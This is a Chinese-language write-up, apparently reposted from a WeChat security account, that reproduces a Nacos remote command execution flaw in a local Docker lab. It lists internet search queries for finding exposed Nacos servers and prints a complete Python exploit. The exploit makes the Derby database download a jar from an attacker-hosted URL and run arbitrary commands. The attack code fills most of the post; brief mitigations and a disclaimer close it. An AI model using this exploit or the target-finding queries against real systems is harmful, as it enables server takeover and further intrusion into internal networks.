请勿利用文章内的相关技术从事非法测试
Nacos微服务平台存在命令执行漏洞,当未开启鉴权或者攻击者获得鉴权信息,可以通过漏洞执行任意命令从而获取服务器权限,可能导致内网进一步被攻击。
- Fofa:
app="NACOS"
- Hunter
app.name="Nacos"
- Quake
app:"阿里巴巴网络技术有限公司Nacos"
-
本地搭建测试环境,使用官方Docker镜像,默认启动版本是 2.3.1
,可以修改文件夹中的example/.env
来制定版本号。 -
网传都是2.3.2-2.4.0直之间的版本,实测2.3.1可行。
git clone https://github.com/nacos-group/nacos-docker.git
cd nacos-docker
docker-compose -f example/standalone-derby.yaml up -d
-
直接运行默认是不开启鉴权的。 -
然后我们下载POC(本文使用原作者版本),将它放在云服务器上,修改 config.py
,可以改成0.0.0.0
,运行service.py
公开作者版本:https://github.com/ayoundzw/nacos-poc
其它师傅改进版本:https://github.com/FFR66/Nacos_Rce
-
然后本地运行POC中的 exploit.py
,稍微修改一下,不用config中的地址,修改service
为你服务器端口IP即可
import random
import sys
import requests
from urllib.parse import urljoin
# 按装订区域中的绿色按钮以运行脚本。
def exploit(target, command, service):
removal_url = urljoin(target,'/nacos/v1/cs/ops/data/removal')
derby_url = urljoin(target, '/nacos/v1/cs/ops/derby')
for i in range(0,sys.maxsize):
id = ''.join(random.sample('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ',8))
post_sql = """CALL sqlj.install_jar('{service}', 'NACOS.{id}', 0)n
CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')n
CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'n""".format(id=id,service=service);
option_sql = "UPDATE ROLES SET ROLE='1' WHERE ROLE='1' AND ROLE=S_EXAMPLE_{id}('{cmd}')n".format(id=id,cmd=command);
get_sql = "select * from (select count(*) as b, S_EXAMPLE_{id}('{cmd}') as a from config_info) tmp /*ROWS FETCH NEXT*/".format(id=id,cmd=command);
#get_sql = "select * from users /*ROWS FETCH NEXT*/".format(id=id,cmd=command);
files = {'file': post_sql}
post_resp = requests.post(url=removal_url,files=files)
post_json = post_resp.json()
if post_json.get('message',None) is None and post_json.get('data',None) is not None:
print(post_resp.text)
get_resp = requests.get(url=derby_url,params={'sql':get_sql})
print(get_resp.text)
break
if __name__ == '__main__':
service = 'http://your-ip:port/download'
target = 'http://127.0.0.1:8848'
command = 'whoami'
target = input('请输入目录URL,默认:http://127.0.0.1:8848:') or target
command = input('请输入命令,默认:whoami:') or command
exploit(target=target, command=command,service=service)
-
本地运行,成功命令执行
-
我们再试试开启鉴权还能不能命令执行,先把刚刚启动的暂停删除
docker-compose -f example/standalone-derby.yaml stop
docker-compose -f example/standalone-derby.yaml rm
-
修改 example/standalone-derby.yaml
,加上一行参数。
- NACOS_AUTH_ENABLE=true
-
再重新启动容器,再试试POC
docker-compose -f example/standalone-derby.yaml up -d
-
发现已经不能命令执行了,因为脚本没有写超时,结果就是一直卡住。 -
最后测完记得关闭服务器上的容器和脚本。
-
暂无
-
设置鉴权信息。 -
使用非默认derby数据库,例如Mysql。
原文始发于微信公众号(小明信安):【1day | 漏洞复现】Nacos 服务管理平台 RCE
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论